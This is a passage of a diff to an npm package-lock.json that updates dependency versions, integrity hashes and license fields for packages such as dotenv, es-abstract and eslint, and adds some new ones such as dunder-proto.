       "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/detect-indent": {
       "version": "6.1.0",
       "resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-6.1.0.tgz",
       "integrity": "sha512-reYkTUJAZb9gUuZ2RvVCNhVHdg62RHnJ7WJl8ftMi4diZ6NWlciOzQN88pUhSELEwflJht4oQDv0F0BMlwaYtA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/detect-libc": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.2.tgz",
-      "integrity": "sha512-UX6sGumvvqSaXgdKGUsgZWqcUyIXZ/vZTrlRT/iobiKhGL0zL4d3osHj3uqllWJK+i+sixDS/3COVEOFbupFyw==",
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.4.tgz",
+      "integrity": "sha512-3UDv+G9CsCKO1WKMGw9fwq/SWJYbI0c5Y7LU1AXYoDdbhE2AHQ6N6Nb34sG8Fj7T5APy8qXDCKuuIHd1BR0tVA==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": ">=8"
       }
@@ -5325,6 +5738,7 @@
       "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz",
       "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -5333,6 +5747,7 @@
       "version": "1.0.4",
       "resolved": "https://registry.npmjs.org/dezalgo/-/dezalgo-1.0.4.tgz",
       "integrity": "sha512-rXSP0bf+5n0Qonsb+SVVfNfIsimO4HEtmnIpPHY8Q1UCzKlQrDMfdobr8nJOOsRgWCyMRqeSBQzmWUMq7zvVig==",
+      "license": "ISC",
       "dependencies": {
         "asap": "^2.0.0",
         "wrappy": "1"
@@ -5343,6 +5758,7 @@
       "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz",
       "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.3.1"
       }
@@ -5351,6 +5767,7 @@
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
       "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+      "license": "MIT",
       "dependencies": {
         "path-type": "^4.0.0"
       },
@@ -5363,6 +5780,7 @@
       "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
       "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "esutils": "^2.0.2"
       },
@@ -5375,6 +5793,7 @@
       "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz",
       "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-obj": "^2.0.0"
       },
@@ -5383,20 +5802,22 @@
       }
     },
     "node_modules/dotenv": {
-      "version": "16.3.1",
-      "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.3.1.tgz",
-      "integrity": "sha512-IPzF4w4/Rd94bA9imS68tZBaYyBWSCE47V1RGuMrB94iyTOIEwRmVL2x/4An+6mETpLrKJ5hQkB8W4kFAadeIQ==",
+      "version": "16.6.1",
+      "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz",
+      "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==",
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=12"
       },
       "funding": {
-        "url": "https://github.com/motdotla/dotenv?sponsor=1"
+        "url": "https://dotenvx.com"
       }
     },
     "node_modules/dotenv-expand": {
       "version": "10.0.0",
       "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-10.0.0.tgz",
       "integrity": "sha512-GopVGCpVS1UKH75VKHGuQFqS1Gusej0z4FyQkPdwjil2gNIv+LNsqBlboOzpJFZKVT95GkCyWJbBSdFEFUWI2A==",
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=12"
       }
@@ -5406,6 +5827,7 @@
       "resolved": "https://registry.npmjs.org/dotgitignore/-/dotgitignore-2.1.0.tgz",
       "integrity": "sha512-sCm11ak2oY6DglEPpCB8TixLjWAxd3kJTs6UIcSasNYxXdFPV+YKlye92c8H4kKFqV5qYMIh7d+cYecEg0dIkA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "find-up": "^3.0.0",
         "minimatch": "^3.0.4"
@@ -5419,6 +5841,7 @@
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
       "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^3.0.0"
       },
@@ -5431,6 +5854,7 @@
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
       "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^3.0.0",
         "path-exists": "^3.0.0"
@@ -5444,6 +5868,7 @@
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
       "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-try": "^2.0.0"
       },
@@ -5459,6 +5884,7 @@
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
       "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^2.0.0"
       },
@@ -5471,14 +5897,30 @@
       "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
       "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
     },
+    "node_modules/dunder-proto": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
+      "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bind-apply-helpers": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.2.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/duration": {
       "version": "0.2.2",
       "resolved": "https://registry.npmjs.org/duration/-/duration-0.2.2.tgz",
       "integrity": "sha512-06kgtea+bGreF5eKYgI/36A6pLXggY7oR4p1pq4SmdFBn1ReOL5D8RhG64VrqfTTKNucqqtBAwEj8aB88mcqrg==",
+      "license": "ISC",
       "dependencies": {
         "d": "1",
         "es5-ext": "~0.10.46"
@@ -5488,33 +5930,38 @@
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz",
       "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/ecc-jsbn": {
       "version": "0.1.2",
       "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz",
       "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "jsbn": "~0.1.0",
         "safer-buffer": "^2.1.0"
       }
     },
     "node_modules/electron-to-chromium": {
-      "version": "1.4.596",
-      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.596.tgz",
-      "integrity": "sha512-zW3zbZ40Icb2BCWjm47nxwcFGYlIgdXkAx85XDO7cyky9J4QQfq8t0W19/TLZqq3JPQXtlv8BPIGmfa9Jb4scg==",
-      "dev": true
+      "version": "1.5.180",
+      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.180.tgz",
+      "integrity": "sha512-ED+GEyEh3kYMwt2faNmgMB0b8O5qtATGgR4RmRsIp4T6p7B8vdMbIedYndnvZfsaXvSzegtpfqRMDNCjjiSduA==",
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/emoji-regex": {
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
-      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "license": "MIT"
     },
     "node_modules/end-of-stream": {
-      "version": "1.4.4",
-      "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
-      "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
+      "version": "1.4.5",
+      "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz",
+      "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==",
+      "license": "MIT",
       "dependencies": {
         "once": "^1.4.0"
       }
@@ -5524,6 +5971,7 @@
       "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz",
       "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -5533,55 +5981,71 @@
       "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
       "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-arrayish": "^0.2.1"
       }
     },
     "node_modules/es-abstract": {
-      "version": "1.22.3",
-      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.22.3.tgz",
-      "integrity": "sha512-eiiY8HQeYfYH2Con2berK+To6GrK2RxbPawDkGq4UiCQQfZHb6wX9qQqkbpPqaxQFcl8d9QzZqo0tGE0VcrdwA==",
-      "dev": true,
+      "version": "1.24.0",
+      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.0.tgz",
+      "integrity": "sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==",
+      "license": "MIT",
       "dependencies": {
-        "array-buffer-byte-length": "^1.0.0",
-        "arraybuffer.prototype.slice": "^1.0.2",
-        "available-typed-arrays": "^1.0.5",
-        "call-bind": "^1.0.5",
-        "es-set-tostringtag": "^2.0.1",
-        "es-to-primitive": "^1.2.1",
-        "function.prototype.name": "^1.1.6",
-        "get-intrinsic": "^1.2.2",
-        "get-symbol-description": "^1.0.0",
-        "globalthis": "^1.0.3",
-        "gopd": "^1.0.1",
-        "has-property-descriptors": "^1.0.0",
-        "has-proto": "^1.0.1",
-        "has-symbols": "^1.0.3",
-        "hasown": "^2.0.0",
-        "internal-slot": "^1.0.5",
-        "is-array-buffer": "^3.0.2",
+        "array-buffer-byte-length": "^1.0.2",
+        "arraybuffer.prototype.slice": "^1.0.4",
+        "available-typed-arrays": "^1.0.7",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "data-view-buffer": "^1.0.2",
+        "data-view-byte-length": "^1.0.2",
+        "data-view-byte-offset": "^1.0.1",
+        "es-define-property": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.1.1",
+        "es-set-tostringtag": "^2.1.0",
+        "es-to-primitive": "^1.3.0",
+        "function.prototype.name": "^1.1.8",
+        "get-intrinsic": "^1.3.0",
+        "get-proto": "^1.0.1",
+        "get-symbol-description": "^1.1.0",
+        "globalthis": "^1.0.4",
+        "gopd": "^1.2.0",
+        "has-property-descriptors": "^1.0.2",
+        "has-proto": "^1.2.0",
+        "has-symbols": "^1.1.0",
+        "hasown": "^2.0.2",
+        "internal-slot": "^1.1.0",
+        "is-array-buffer": "^3.0.5",
         "is-callable": "^1.2.7",
-        "is-negative-zero": "^2.0.2",
-        "is-regex": "^1.1.4",
-        "is-shared-array-buffer": "^1.0.2",
-        "is-string": "^1.0.7",
-        "is-typed-array": "^1.1.12",
-        "is-weakref": "^1.0.2",
-        "object-inspect": "^1.13.1",
+        "is-data-view": "^1.0.2",
+        "is-negative-zero": "^2.0.3",
+        "is-regex": "^1.2.1",
+        "is-set": "^2.0.3",
+        "is-shared-array-buffer": "^1.0.4",
+        "is-string": "^1.1.1",
+        "is-typed-array": "^1.1.15",
+        "is-weakref": "^1.1.1",
+        "math-intrinsics": "^1.1.0",
+        "object-inspect": "^1.13.4",
         "object-keys": "^1.1.1",
-        "object.assign": "^4.1.4",
-        "regexp.prototype.flags": "^1.5.1",
-        "safe-array-concat": "^1.0.1",
-        "safe-regex-test": "^1.0.0",
-        "string.prototype.trim": "^1.2.8",
-        "string.prototype.trimend": "^1.0.7",
-        "string.prototype.trimstart": "^1.0.7",
-        "typed-array-buffer": "^1.0.0",
-        "typed-array-byte-length": "^1.0.0",
-        "typed-array-byte-offset": "^1.0.0",
-        "typed-array-length": "^1.0.4",
-        "unbox-primitive": "^1.0.2",
-        "which-typed-array": "^1.1.13"
+        "object.assign": "^4.1.7",
+        "own-keys": "^1.0.1",
+        "regexp.prototype.flags": "^1.5.4",
+        "safe-array-concat": "^1.1.3",
+        "safe-push-apply": "^1.0.0",
+        "safe-regex-test": "^1.1.0",
+        "set-proto": "^1.0.0",
+        "stop-iteration-iterator": "^1.1.0",
+        "string.prototype.trim": "^1.2.10",
+        "string.prototype.trimend": "^1.0.9",
+        "string.prototype.trimstart": "^1.0.8",
+        "typed-array-buffer": "^1.0.3",
+        "typed-array-byte-length": "^1.0.3",
+        "typed-array-byte-offset": "^1.0.4",
+        "typed-array-length": "^1.0.7",
+        "unbox-primitive": "^1.1.0",
+        "which-typed-array": "^1.1.19"
       },
       "engines": {
         "node": ">= 0.4"
@@ -5590,38 +6054,73 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
-    "node_modules/es-set-tostringtag": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.0.2.tgz",
-      "integrity": "sha512-BuDyupZt65P9D2D2vA/zqcI3G5xRsklm5N3xCwuiy+/vKy8i0ifdsQP1sLgO4tZDSCaQUSnmC48khknGMV3D2Q==",
-      "dev": true,
+    "node_modules/es-define-property": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
+      "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-errors": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+      "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-object-atoms": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
+      "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",
+      "license": "MIT",
       "dependencies": {
-        "get-intrinsic": "^1.2.2",
-        "has-tostringtag": "^1.0.0",
-        "hasown": "^2.0.0"
+        "es-errors": "^1.3.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-set-tostringtag": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz",
+      "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.6",
+        "has-tostringtag": "^1.0.2",
+        "hasown": "^2.0.2"
       },
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/es-shim-unscopables": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.2.tgz",
-      "integrity": "sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz",
+      "integrity": "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "hasown": "^2.0.0"
+        "hasown": "^2.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
       }
     },
     "node_modules/es-to-primitive": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz",
-      "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==",
-      "dev": true,
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz",
+      "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==",
+      "license": "MIT",
       "dependencies": {
-        "is-callable": "^1.1.4",
-        "is-date-object": "^1.0.1",
-        "is-symbol": "^1.0.2"
+        "is-callable": "^1.2.7",
+        "is-date-object": "^1.0.5",
+        "is-symbol": "^1.0.4"
       },
       "engines": {
         "node": ">= 0.4"
@@ -5631,13 +6130,15 @@
       }
     },
     "node_modules/es5-ext": {
-      "version": "0.10.62",
-      "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.62.tgz",
-      "integrity": "sha512-BHLqn0klhEpnOKSrzn/Xsz2UIW8j+cGmo9JLzr8BiUapV8hPL9+FliFqjwr9ngW7jWdnxv6eO+/LqyhJVqgrjA==",
+      "version": "0.10.64",
+      "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.64.tgz",
+      "integrity": "sha512-p2snDhiLaXe6dahss1LddxqEm+SkuDvV8dnIQG0MWjyHpcMNfXKPE+/Cc0y+PhxJX3A4xGNeFCj5oc0BUh6deg==",
       "hasInstallScript": true,
+      "license": "ISC",
       "dependencies": {
         "es6-iterator": "^2.0.3",
         "es6-symbol": "^3.1.3",
+        "esniff": "^2.0.1",
         "next-tick": "^1.1.0"
       },
       "engines": {
@@ -5648,12 +6149,14 @@
       "version": "4.1.1",
       "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz",
       "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/es6-iterator": {
       "version": "2.0.3",
       "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz",
       "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==",
+      "license": "MIT",
       "dependencies": {
         "d": "1",
         "es5-ext": "^0.10.35",
@@ -5664,6 +6167,7 @@
       "version": "0.1.6",
       "resolved": "https://registry.npmjs.org/es6-set/-/es6-set-0.1.6.tgz",
       "integrity": "sha512-TE3LgGLDIBX332jq3ypv6bcOpkLO0AslAQo7p2VqX/1N46YNsvIWgvjojjSEnWEGWMhr1qUbYeTSir5J6mFHOw==",
+      "license": "ISC",
       "dependencies": {
         "d": "^1.0.1",
         "es5-ext": "^0.10.62",
@@ -5677,18 +6181,23 @@
       }
     },
     "node_modules/es6-symbol": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz",
-      "integrity": "sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==",
+      "version": "3.1.4",
+      "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.4.tgz",
+      "integrity": "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg==",
+      "license": "ISC",
       "dependencies": {
-        "d": "^1.0.1",
-        "ext": "^1.1.2"
+        "d": "^1.0.2",
+        "ext": "^1.7.0"
+      },
+      "engines": {
+        "node": ">=0.12"
       }
     },
     "node_modules/es6-weak-map": {
       "version": "2.0.3",
       "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz",
       "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==",
+      "license": "ISC",
       "dependencies": {
         "d": "1",
         "es5-ext": "^0.10.46",
@@ -5697,10 +6206,11 @@
       }
     },
     "node_modules/escalade": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
-      "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==",
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
+      "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -5710,6 +6220,7 @@
       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
       "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -5718,16 +6229,18 @@
       }
     },
     "node_modules/eslint": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.54.0.tgz",
-      "integrity": "sha512-NY0DfAkM8BIZDVl6PgSa1ttZbx3xHgJzSNJKYcQglem6CppHyMhRIQkBVSSMaSRnLhig3jsDbEzOjwCVt4AmmA==",
+      "version": "8.57.1",
+      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.57.1.tgz",
+      "integrity": "sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==",
+      "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@eslint-community/eslint-utils": "^4.2.0",
         "@eslint-community/regexpp": "^4.6.1",
-        "@eslint/eslintrc": "^2.1.3",
-        "@eslint/js": "8.54.0",
-        "@humanwhocodes/config-array": "^0.11.13",
+        "@eslint/eslintrc": "^2.1.4",
+        "@eslint/js": "8.57.1",
+        "@humanwhocodes/config-array": "^0.13.0",
         "@humanwhocodes/module-importer": "^1.0.1",
         "@nodelib/fs.walk": "^1.2.8",
         "@ungap/structured-clone": "^1.2.0",
@@ -5777,6 +6290,7 @@
       "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz",
       "integrity": "sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "debug": "^3.2.7",
         "is-core-module": "^2.13.0",
@@ -5788,15 +6302,17 @@
       "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
       "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ms": "^2.1.1"
       }
     },
     "node_modules/eslint-module-utils": {
-      "version": "2.8.0",
-      "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.8.0.tgz",
-      "integrity": "sha512-aWajIYfsqCKRDgUfjEXNN/JlrzauMuSEy5sbd7WXbtW3EH6A6MpwEh42c7qD+MqQo9QMJ6fWLAeIJynx0g6OAw==",
+      "version": "2.12.1",
+      "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.12.1.tgz",
+      "integrity": "sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "debug": "^3.2.7"
       },
@@ -5814,39 +6330,43 @@
       "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
       "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ms": "^2.1.1"
       }
     },
     "node_modules/eslint-plugin-import": {
-      "version": "2.29.0",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.29.0.tgz",
-      "integrity": "sha512-QPOO5NO6Odv5lpoTkddtutccQjysJuFxoPS7fAHO+9m9udNHvTCPSAMW9zGAYj8lAIdr40I8yPCdUYrncXtrwg==",
+      "version": "2.32.0",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.32.0.tgz",
+      "integrity": "sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "array-includes": "^3.1.7",
-        "array.prototype.findlastindex": "^1.2.3",
-        "array.prototype.flat": "^1.3.2",
